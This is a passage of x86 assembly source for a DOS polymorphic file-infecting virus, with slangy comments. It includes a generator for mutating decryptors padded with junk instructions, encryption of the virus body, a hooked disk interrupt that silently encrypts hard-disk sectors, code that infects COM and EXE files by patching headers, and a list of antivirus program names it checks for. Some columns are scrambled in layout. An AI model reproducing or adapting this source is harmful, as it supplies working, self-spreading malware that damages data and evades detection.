;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz movez unimportant_instr 2 buffer ; in : dx = wieviel :-) sub_0B57 proc near or dx, dx ; count is null ? jz short loc_ret_0B71 push si push cx ; push regz push dx mov cx, dx ; count 2 cx
locloop_0B60: mov si, mov dx, call add si, movsb loop
offset unimportant_instr - p 0Ah ; max_random 2 0ah (10 instr) random_number ; gimme random_number dx ; go2 instruction ; move it locloop_0B60 ; and go on
pop dx pop cx pop si
; restore regz
loc_ret_0B71: retn sub_0B57 endp
; and end ...
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz putz be4 and after instruction unimportant_instructionz ; in : dx = wieviel u_instr sub_0B72 proc near mov ax, dx ; instr_count 2 ax inc dx call random_number ; gimme random_number sub ax, dx ; sub cur_instr_count from ; instr_count call sub_0B57 ; move unimportant_instr xchg dx, ax rep movsb ; move real_instruction db 81h,0FBh ; cmp bx, offset jnz_offset - p dw offset jnz_offset - p ; it'z last_one ? (jnz xor_...) jnz short loc_0B92 mov ax, ds:[xor_offset - p] ; gimme xor_offset sub ax, di ; sub cur_instr_buffer_index add ax, offset instr_buffer - p; add instr_buffer_back sub ax, [bx] ; sub jnz_offset dec di ; go2 disp8 stosb ; and store it loc_0B92: call sub_0B57 ; and now put some u_instr ; after real_instruction retn ; and end ... sub_0B72 endp m_?_i x_?_i a_?_i m_i_? x_?_i_ i_?_i c_i_?
dw dw dw dw dw dw dw
offset offset offset offset offset offset offset
mov_?_instr xor_?_instr add_?_instr mov_index_? xor_?_instr inc_?_instr cmp_index_?
-
p p p p p p p
; ; ; ; ; ; ;
0b38h 0b3dh 0b40h 0b34h 0b3dh 0b44h 0b47h
; ; ; ; ; ; ;
0b96h 0b98h 0b9ah 0b9ch 0b9eh 0ba0h 0ba2h
; ; ; ; ; ; ;
0614h 0616h 0618h 061ah 061ch 061eh 0620h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; This sets rite ModR/M instructions .... ; There are two phases here: ; 1. : m_?_i - a_?_i = sets instruction that worx with xor_reg ; 2. : m_i_? - c_i_? = sets instruction that worx with index_reg ; in : dl = random_number that depends on phase
; Just go through it and try to know what's happening here :) sub_0BA4 proc near loc_0BA4: lodsw xchg di, ax mov al, dl cmp si, offset i_?_i - p jne short loc_0BB6 and al, 5 cmp al, 1 jne short loc_0BC6 mov al, 7 loc_0BB6: cmp si, offset a_?_i - p jne short loc_0BC6 mov cl, 3 shl al, cl or [di], al or al, 0C7h jmp short loc_0BCA loc_0BC6: or [di], al or al, 0F8h loc_0BCA: and [di], al cmp si, offset m_i_? - p je short loc_ret_0BDA cmp si, offset sub_0BA4 - p je short loc_ret_0BDA jmp short loc_0BA4 loc_ret_0BDA: retn sub_0BA4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz preparez decode_routine ... sub_0BDB proc near mov dx, 2 call random_number ; gimme random_number mov byte ptr ds:[push_what - p], 0Eh; store push_cs or dx, dx ; random_number nullovy ? jz short loc_0BEF mov byte ptr ds:[push_what - p], 16h; nope so store ; push_ss loc_0BEF: mov si, offset m_?_i - p ; start with first_phaze loc_0BF2: mov dx, 8 call random_number ; gimme random_number cmp dl, 4 ; we don't need sp_reg je loc_0BF2 mov bl, dl ; reg 2 bl call sub_0BA4 ; set instructionz etc. mov si, offset m_i_? - p ; start with second_phaze loc_0C05: mov dx, 3 call random_number ; gimme random_number add dl, 6 cmp dl, 8
jne short loc_0C15 mov dl, 3 ; yope set bx_reg loc_0C15: cmp dl, bl ; xor_reg = index_reg ? je loc_0C05 call sub_0BA4 ; nope so set instr. etc. xor cx, cx mov di, offset decode_routine_table - p loc_0C21: cmp cx, 9 ; jnz_instruction ? jne short loc_0C40 loc_0C26: ; yope ; it'z jnz disp8 ; so it must be in the range ; 0 - 80h bytez mov dx, 0C8h call random_number ; gimme random_number sub dx, 64h ; sub 0c8h / 2 add dx, ds:[xor_offset - p] ; add xor_offset cmp dx, 0 ; less than 0 ? jl loc_0C26 cmp dx, ds:[max_number - p] ; more or same than max_number? jge loc_0C26 jmp short loc_0C46 loc_0C40: db 0bah ; mov dx, ? max_number dw 466h ; random_max iz max_number call random_number ; gimme random_number loc_0C46: jcxz short loc_0C5F ; first timez here ? mov si, offset decode_routine_table - p push cx ; nope locloop_0C4C: ; so go2 cur_instr and check ; 4 distancez lodsw sub ax, dx ; check 4 distance cmp ax, 0Ah ; more or same than 0ah bytez ? jge loc_0C5C cmp ax, 0FFF6h ; less or same than 0ah bytez ? jle loc_0C5C pop cx ; nope ! get another random_# jmp loc_0C21 loc_0C5C: ; yope loop locloop_0C4C ; so go2 next insrt pop cx ; last_one loc_0C5F: xchg dx, ax ; random_number 2 ax stosw ; store it 2 decode_... inc cx ; inc counter cmp cx, 0Ah ; less than 0ah (10 piecez) ? jb loc_0C21 ; nope = decode_routine_table ; initialized ... mov bx, offset decode_routine_table - p mov si, offset instr_start - p loc_0C6D: mov di, offset instr_buffer - p lodsb ; read instr_length mov cl, al ; instr_length 2 cx mov dx, 8 ; u_instr 2 dx sub dx, cx ; sub it mov ax, [bx+2] ; gimme next_d_entry_offset ; if jnz_instr next iz
; viruz_beginning ... sub ax, [bx] ; sub from it cur_d_entry cmp ax, 0Ah ; distance 0ah ? jne short loc_0C8B inc dx ; inc u_instr (we don't need inc dx ; jmp_instr ...) call sub_0B72 inc bx ; go2 next decode_routine_ inc bx ; _offset jmp short loc_0CB5 ; and go on loc_0C8B: ; nope call random_number ; gimme random_number call sub_0B72 ; copy instruction 2 buffer ... mov dx, di ; gimme instr_buffer_offset sub dx, offset three_bytez - p; sub ofs instr_buffer - 3 add dx, [bx] ; add cur_d_entry mov al, 0E9h ; far_jmp 2 al stosb ; store it inc bx ; go2 next_entry inc bx mov ax, [bx] ; gimme it sub ax, dx ; sub it cmp ax, 7Eh ; distance more than 7eh ? jg short loc_0CB4 cmp ax, 0FF7Fh ; distance less than 0ff7fh ? jl short loc_0CB4 inc ax ; nope inc distance (jmp_short ; only 2 bytez ...) mov byte ptr [di-1], 0EBh ; store rather jmp_short stosb ; store disp8 jmp short loc_0CB5 ; and go on loc_0CB4: ; yope stosw ; store disp16 loc_0CB5: push bx push cx db 0b9h ; mov cx, 0 mov_cx_?_ dw 0 ; gimme file_pointer db 0bah ; mov dx, 13h mov_dx_?_ dw 13h add dx, [bx-2] ; add decode_table_entry adc cx, 0 ; (the current) push cx push dx call sub_0E63 ; go2 f_ptr mov cx, 0Ah ; read 0ah bytez db 0bah ; mov dx, ? buffer_offset dw 0a4h ; 2 [buffer_offset] add ds:[buffer_offset - p], cx; go2 next_buffer_offset_entry call f_read_ pop dx pop cx jc short loc_0CE6 ; error ? call sub_0E63 ; go back 2 f_ptr xchg cx, di ; cur_instr_buffer_offset 2 cx mov dx, offset instr_buffer - p; sub offset instr_buffer sub cx, dx ; sub it 2 get instr_size call f_write_ ; and write it ... loc_0CE6: pop cx pop bx jc short loc_ret_0CF3 ; error ? db 81h,0FBh ; cmp bx, offset beginning_ofs - p
dw offset beginning_ofs - p jnc short loc_ret_0CF3 ; last decode_routine_entry ? jmp loc_0C6D ; nope so go on ... loc_ret_0CF3: retn sub_0BDB endp
; yope ; so end ...
; Purpose of moving to buffer: ; while writing viruz_body to file, the virus crypts viruz_body so ; int_13h and crypt_routine and routine that writes it to file ; far far away from range of crypt_routine presun_rutiny: mov cx, offset buffer - p ; gimme size 2 write xor dx, dx ; start with offset null call sub_0D12 ; crypt_ it mov ah, 40h ; write crypted_ viruz_body mov bx, ds:[handle - p] ; 2 file; gimme handle pushf ; and db 9Ah ; call far ptr old_int_21h old_int_21h dw 0, 0 jc short loc_0D0C ; error ? cmp ax, cx ; written_&_wanted the same ? loc_0D0C: pushf ; push flagz call sub_0D12 ; decrypt_ viruz_body popf ; restore flagz retn ; and end ... ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz cryptz_ viruz_body sub_0D12 proc near push cx mov si, dx ; gimme viruz_start_offset db 0b8h ; mov ax, 0 crypt_viruz dw 0 ; gimme init_crypt_vale mov cx, offset buffer - p ; gimme viruz_size locloop_0D1B: xor [si], ax ; crypt_it db 05h ; add ax, ? next_crypt_value dw 0 ; go2 next_crypt_value inc si ; go2 next viruz_byte loop locloop_0D1B ; and go on pop cx retn sub_0D12 endp
; and end ...
new_int_24h: mov al, 3 iret ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz callz old_int_13h sub_0D28 proc near pushf call dword ptr cs:[old_int_13h - p__] retn
sub_0D28
endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz getz cylinder_number in si sub_0D2F proc near push cx push dx shr cl, 1 shr cl, 1 and dh, 0C0h or dh, cl mov cl, 4 shr dh, cl mov dl, ch xchg si, dx pop dx pop cx retn sub_0D2F endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz cryptz_ a buffer crypt_ proc near push ax push bx ; push regz push cx db 0b0h ; mov al, ? secz_count db 0 ; gimme secz_count db 0bbh ; mov bx, ? buf_ptr dw 0 ; gimme buf_ptr loc_0D4D: mov cx, 100h ; do it 256* ; (in wordz) locloop_0D50: db 26h, 81h, 37h ; xor word ptr es:[bx], ? crypt_value dw 2b50h ; xor word ... inc bx ; go2 next_word in buffer inc bx loop locloop_0D50 ; and go on
crypt_
dec al jnz loc_0D4D pop cx pop bx pop ax retn endp
; dec secz_count ; last one ? ; yope ; restore regz
new_int_13h: cmp ah, 2 je short loc_0D6E cmp ah, 3 je short loc_0D6E jmp loc_0E50 loc_0D6E: cmp dx, 80h
; and end ...
; read sector(z) ? ; write sector(z) ? ; nope so end ; 0.head, first_harddisk ?
jne short loc_0DE0 test cx, 0FFC0h ; cylinder is null ? jnz short loc_0DE0 push bx ; ok it could be work with push dx ; partition_table or with push si ; viruz_body push di push cx push cx mov si, ax ; gimme ax_reg and si, 0FFh ; gimme secz_2_work mov di, si mov al, 1 push ax jz short loc_0DBB ; secz_2_work is null ? jcxz short loc_0DDB ; sec_number is null ? cmp cl, 1 ; work with parition_table ? je short loc_0DCD loc_0D94: ; nope so it could be viruz db 80h, 0f9h ; body max_sektor db 11h ; cmp cl, ? ja short loc_0DDB ; are we in the range db 80h, 0f9h ; cmp cl, ? partition_sec_n db 0ah ; where'z viruz_body ? jb short loc_0DD2 cmp ah, 3 ; yope = writing ? je short loc_0DDB ; (end_with error) push bx mov cx, 200h ; do it 512* locloop_0DA7: mov byte ptr es:[bx], 0 ; store null inc bx ; inc buffer_ptr loop locloop_0DA7 ; and go on ... pop bx loc_0DAF: add bx, 200h ; go2 next_sec_in_buffer pop ax pop cx inc cx ; inc sec_number push cx push ax dec si ; dec secz_2_work jnz loc_0D94 ; null ? loc_0DBB: clc loc_0DBC: ; yope pop ax ; restore ax_reg pushf xchg di, ax ; secz_2_work 2 ax sub ax, si ; sub secz_that_weren't_read popf mov ah, ch ; error number 2 ah pop cx pop cx pop di ; restore regz pop si pop dx pop bx retf 2 ; and end ... loc_0DCD: mov cl, byte ptr cs:[partition_sec_n - p__] ; yope
; so gimme parition_table_sec loc_0DD2: call sub_0D28 ; write or read it mov ch, ah ; gimme possible_error_number jc loc_0DBC ; error ? jmp short loc_0DAF ; nope = go on loc_0DDB: ; yope stc ; so set up error_flag mov ch, 0BBh ; and error_number 2 ch jmp short loc_0DBC ; (undefined_error) loc_0DE0: ; nope cmp dl, 80h ; it'z first_harddisk ? jne short loc_0E50 push ax push cx push dx push si ; push regz push ds push cs pop ds mov byte ptr ds:[secz_count - p__], 0 ; store null mov word ptr ds:[buf_ptr - p__], bx ; store bx call sub_0D2F ; gimme cylinder_number and cl, 3Fh ; voklesti sector and dh, 3Fh ; voklesti head loc_0DFE: or al, al ; secz_2_work is null ? jz short loc_0E31 db 81h, 0feh ; cmp si, ? max_cyl_number dw 265h ; are we in the range jae short loc_0E31 ; where'z harddisk db 81h, 0feh ; cmp si, ? cur_cyl_number dw 1234h ; crypted_ ? jb short loc_0E14 inc byte ptr ds:[secz_count - p__] ; yope inc secz_count jmp short loc_0E1A loc_0E14: add word ptr ds:[buf_ptr - p__], 200h; go2 next_sec_in_buf loc_0E1A: dec al ; dec secz_2_work inc cl db 80h, 0f9h ; cmp cl, ? max_sektor_2 db 11h ; sector in range ? jbe loc_0DFE mov cl, 1 ; nope so sector 2 1 inc dh ; and inc head db 80h, 0feh ; cmp dh, ? max_heads db 07h ; head in range ? jbe loc_0DFE xor dh, dh ; nope so head 2 null inc si ; and inc cylinder jmp short loc_0DFE ; and go on loc_0E31: ; yope cmp byte ptr ds:[secz_count - p__], 0; must we (un)crypt_ pop ds ; something ? pop si ; restore regz pop dx pop cx pop ax jz short loc_0E50 cmp ah, 2 ; yope; read ? je short loc_0E45 call crypt_ ; nope write; crypt_ it
loc_0E45: call sub_0D28 pushf call crypt_ popf retf 2 loc_0E50: db 0EAh old_int_13h label near
; do it ; and uncrypt_ it
; end ... ; jmp far ptr old_int_13h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz writez 2 file ... f_write_ proc near mov ah, 40h jmp $ + 4 f_write_ endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz readz from file ... f_read_ proc near mov ah, 3Fh ; '?' call sub_0E6F jc short loc_ret_0E5E cmp ax, cx loc_ret_0E5E: retn f_read_ endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz call f_ptr fc sub_0E5F proc near xor cx, cx mov dx, cx sub_0E63: mov ax, 4200h jmp short loc_0E6F sub_0E68: xor cx, cx mov dx, cx sub_0E6C: mov ax, 4202h sub_0E6F: loc_0E6F: mov bx, word ptr cs:[handle - p] ; Diz call old_int_21h int_21h: pushf cli call dword ptr cs:[old_int_21h - p__] retn sub_0E5F endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz infectz the file ... sub_0E7C proc near mov bp, sp mov ax, 5700h ; gimme file_time_&_date call sub_0E6F mov bx, offset file_time_date - p mov [bx], cx ; store time_stamp mov [bx+2], dx ; store date_stamp call sub_1157 ; file already infected ? jc short loc_0F0A mov dx, 1Eh call random_number ; gimme random_number or dx, dx ; null ? jz short loc_0E9D mov [bx], ax ; nope so store new_time_stamp loc_0E9D: mov word ptr ds:[buffer_offset - p], offset overwritten_bytez - p mov dx, 0FFFFh push dx call random_number ; gimme random_number mov ds:[crypt_viruz_value - p], dx ; store it mov ds:[crypt_viruz - p__], dx ; store it pop dx call random_number ; gimme next_random_number mov ds:[next_crypt_value_ - p], dx ; store it mov ds:[next_crypt_value - p__], dx ; store it call sub_0E5F ; go2 sof mov cx, 1Ah ; read 1ah_bytez mov dx, offset file_buffer - p; 2 file_buffer push dx ; (exe_hdr or 3bytez from com) call f_read_ ; read it jc short loc_0F24 ; error ? xchg si, dx ; move these mov di, offset exe_header - p rep movsb ; bytez call sub_0E68 ; go2 eof mov si, ax ; size in ax : dx mov di, dx ; 2 si : di pop bx cmp word ptr [bx], 4D5Ah ; 'MZ' ? je short loc_0EFA ; it'z exe_file ? cmp word ptr [bx], 5A4Dh ; 'ZM' ? je short loc_0EFA ; it'z exe_file ? mov byte ptr ds:[exe_flag - p], 0; nope = clear exe_flag cmp ax, 0EFA6h ; file not 2 big ? cmc jc short loc_0F24 mov ax, 3 ; nope cwd ; null dx_reg push bx jmp short loc_0F16 loc_0EFA: mov byte ptr ds:[exe_flag - p], 1 ; set up exe_flag mov ax, [bx+4] ; gime page_cnt mul word ptr ds:[page_size_ - p] ; mul it with page_size sub ax, si sbb dx, di loc_0F0A: jc short loc_0F24 mov ax, [bx+8] ; gimme hdr_size
mul word ptr ds:[hdr_size_ - p] ; mul it with hdr_size push bx push ax push dx loc_0F16: sub si, ax ; sub hdr_size sbb di, dx ; or 3 bytez 4 far_jmp or di, di ; file bigger than 0ffffh bytez ? jnz short loc_0F2C mov dx, si ; nope sub dx, 3E8h ; so check whether the file loc_0F24: ; iz not 2 small jc short loc_0F98 cmp dx, 7D0h ; size less than 7d0h ? jbe short loc_0F2F loc_0F2C: mov dx, 7D0h ; set max_number 2 7d0h loc_0F2F: call random_number ; gimme random_number add dx, 3E8h ; add 7d0h / 2 mov ds:[viruz_start - p], dx ; store viruz_start add dx, offset buffer - p + 280h ; add dx viruz_size ; + space 4 stack cmp byte ptr ds:[exe_flag - p], 0 ; exe_file ? je short loc_0F49 mov ds:[file_buffer - p + 10h], dx ; yope store new exe_sp loc_0F49: add dx, 0FD80h ; sub 280h mov ds:[viruz_end - p], dx ; store viruz_end add dx, 0 - (offset buffer - offset loc_08d1) mov ds:[beginning_ofs - p], dx; store beginning_ofs add dx, 0 - (offset loc_08d1 - offset loc_0582) - 9 mov ds:[max_number - p], dx ; store max_number add dx, 8 ; add 8 (viz up - 9 ...) not dx ; make signed_number mov cx, 0FFFFh ; the f_ptr functionz ; are signed ; so it will sub from the eof ; cx : dx ... call sub_0E6C mov ds:[mov_cx_?_ - p], dx ; store new_file_poz mov ds:[mov_dx_?_ - p], ax ; as a base ... cmp byte ptr ds:[exe_flag - p], 0 ; com_file ? jne short loc_0F81 xchg dx, ax ; gimme base add dx, 100h ; add 100h jmp short loc_0F8B ; and go on loc_0F81: pop di pop si sub ax, si ; count base_addr sbb dx, di div word ptr ds:[hdr_size_ - p] loc_0F8B: add ds:[viruz_start - p], dx; add base add ds:[viruz_end - p], dx ; add base push ax push dx call sub_0BDB ; ok now prepare decode_rout... loc_0F98: jc short loc_0FFE ; error ? pop dx ; and now add base pop ax ; 2 decode_routine_table_
mov cx, 0Ah ; _entryz ... mov si, offset decode_routine_table - p locloop_0FA2: add [si], dx ; add base inc si ; go2 next_entry inc si loop locloop_0FA2 ; and go on ... pop cmp jne mov mov sub
bx byte ptr ds:[exe_flag - p], 0 ; com_file ? short loc_0FD0 byte ptr [bx], 0E9h ; store far_jump ax, ds:[decode_routine_table - p]; gimme jump_offset ax, 103h ; sub 103h (100h PSP and 03h ; far_jmp) [bx+1], ax ; store it word ptr ds:[relo_cnt - p], 0; store relo_cnt word ptr ds:[relo_cs - p], 0FFF0h; store relo_cs word ptr ds:[exe_ip - p], 100h; store exe_ip short loc_0FF7 ; and go on ; nope exe_file [bx+16h], ax ; store relo_cs [bx+0Eh], ax ; store relo_ss ax, ds:[decode_routine_table - p]; gimme starting_ofs [bx+14h], ax ; store exe_ip [bx+10h], dx ; add it 2 exe_sp word ptr [bx+6], 0 ; null relo_cnt ax, 28h ; my_min_mem 2 ax [bx+0Ah], ax ; compare it with min_mem short loc_0FEF ; more ? [bx+0Ah], ax ; yope so store my_min_mem
mov mov mov mov jmp loc_0FD0: mov mov mov mov add mov mov cmp jae mov loc_0FEF: cmp [bx+0Ch], ax ; compare it with max_mem jae short loc_0FF7 ; more ? mov [bx+0Ch], ax ; yope so store my_max_mem loc_0FF7: push bx call sub_0E68 ; go2 eof db 0e8h ; call presun_rutiny ( ; viruz_body_crypt_&_write) dw offset presun_rutiny - presun_rutiny + buffer - next___ next___ label near ; crypt_ it and write it loc_0FFE: jc short loc_1031 call sub_0E68 ; go2 eof div word ptr ds:[page_size_ - p] ; div new_file_size inc ax ; 2 count pagez pop bx cmp byte ptr ds:[exe_flag - p], 0 ; exe_file ? je short loc_1016 mov [bx+4], ax ; store new page_cnt mov [bx+2], dx ; store new part_pag loc_1016: push bx call sub_0E5F ; go2 sof mov cx, 1Ah pop dx call f_write_ ; write new_exe_header 2 file jc short loc_1031 ; error ? mov ax, 5701h ; set back file_time_date mov cx, ds:[file_time_date - p] ; gimme time_stamp mov dx, ds:[file_time_date - p + 2] ; gimme date_stamp
call sub_0E6F loc_1031: mov sp, bp retn sub_0E7C endp
; set it
; and end ...
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz setz my own error_handler sub_1034 proc near push dx push ds push cs pop ds mov ax, 3524h ; gimme old_int_24h call int_21h mov ds:[old_int_24h - p + 2], es ; store it mov ds:[old_int_24h - p], bx mov ax, 2524h ; and set my own mov dx, offset new_int_24h - p__ ; handler call int_21h pop ds pop dx retn ; and end ... sub_1034 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz setz back old_int_24h sub_1052 proc near mov ax, 2524h lds dx, dword ptr cs:[old_int_24h - p]; gimme old_int_24h call int_21h ; set it back retn ; and end ... sub_1052 endp _com_ _exe_ _scan_ _clean_ _findviru_ _guard_ _nod_ _vsafe_ _msav_ _chkdsk_
db db db db db db db db db db
04h, 04h, 04h, 05h, 08h, 05h, 03h, 05h, 04h, 06h,
'.COM' '.EXE' 'SCAN' 'CLEAN' 'FINDVIRU' 'GUARD' 'NOD' 'VSAFE' 'MSAV' 'CHKDSK'
; offset 105eh ; offset 1063h ; offset 1068h ; offset 106dh ; offset 1073h ; offset 107ch ; offset 1082h ; offset 1086h ; offset 108ch ; offset 1091h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz checkz the file_name and drive ... sub_1098 proc near push dx push bx push cx push si push di ; push regz push ds push es
push mov si, mov di, push pop es lea bx, mov cx,
ax dx ; gimme file_name_offset name_buffer - p ; gimme buffer where 2 store cs [di-1] 4Bh
; try it 4bh*
locloop_10AD: lodsb ; read byte cmp al, 61h ; 'a' jb short loc_10B8 ; low_case ? cmp al, 7Ah ; 'z' ja short loc_10B8 sub al, 20h ; yope so make high_case loc_10B8: push ax push si loc_10BA: ; nope cmp al, 20h ; space ? jne short loc_10C7 lodsb ; read byte or al, al ; null ? jnz loc_10BA pop si ; yope pop si jmp short loc_10D7 ; end ... loc_10C7: pop si pop ax cmp al, 5Ch ; '\' je short loc_10D5 cmp al, 2Fh ; '/' je short loc_10D5 cmp al, 3Ah ; ':' jne short loc_10D7 loc_10D5: mov bx, di ; store offset 2 bx loc_10D7: stosb ; store byte or al, al ; null ? jz short loc_10DE loop locloop_10AD ; and go on loc_10DE: ; yope mov si, offset _com_ - p ; check 4 .COM or .EXE sub di, 5 ; sub 5 (.XXX, 0) push cs pop ds call sub_1149 ; it'z .COM ? jz short loc_10F0 call sub_1149 ; it'z .EXE ? jnz short loc_113C loc_10F0: ; yope pop ax push ax xchg di, bx ; gimme file_name_offset inc di ; inc it (/, \, or : ...) cmp ax, 4B00h ; fc run file ? jne short loc_1107 mov si, offset _chkdsk_ - p call sub_1149 ; do we run CHKDISK ? jnz short loc_1107
mov byte ptr ds:[fcb_jmp_ - p], offset loc_121a - (fcb_jmp_ + 1) ; yope so turn off fcb_sub_viruz_size loc_1107: mov cx, 7 ; check 4 7 antivirusez mov si, offset _scan_ - p ; start with SCAN locloop_110D: push cx call sub_1149 pop cx jz short loc_113C loop locloop_110D
; compare name ; it'z antiviruz ? ; nope go on
mov si, offset name_buffer - p ; gimme name_buffer xor bl, bl ; 2 get drive lodsw cmp ah, 3Ah ; ':' jne short loc_1125 sub al, 40h ; ok make valid_drive_number mov bl, al ; and store it 2 bl loc_1125: mov ax, 4408h ; get drive_statuz call int_21h or ax, ax ; medium can be exchanged ? which_jump_? db 74h db offset loc_1146 - ($ + 1) mov ax, 4409h ; get far disk statuz call int_21h jc short loc_113C ; error ? test dh, 10h ; iz far disk in net ? jnz short loc_1146 loc_113C: stc ; set error_flag loc_113D: pop ax pop es pop ds pop di pop si ; restore regz pop cx pop bx pop dx retn ; and end ... loc_1146: clc ; clear error_flag jmp short loc_113D ; and end ... sub_1098 endp
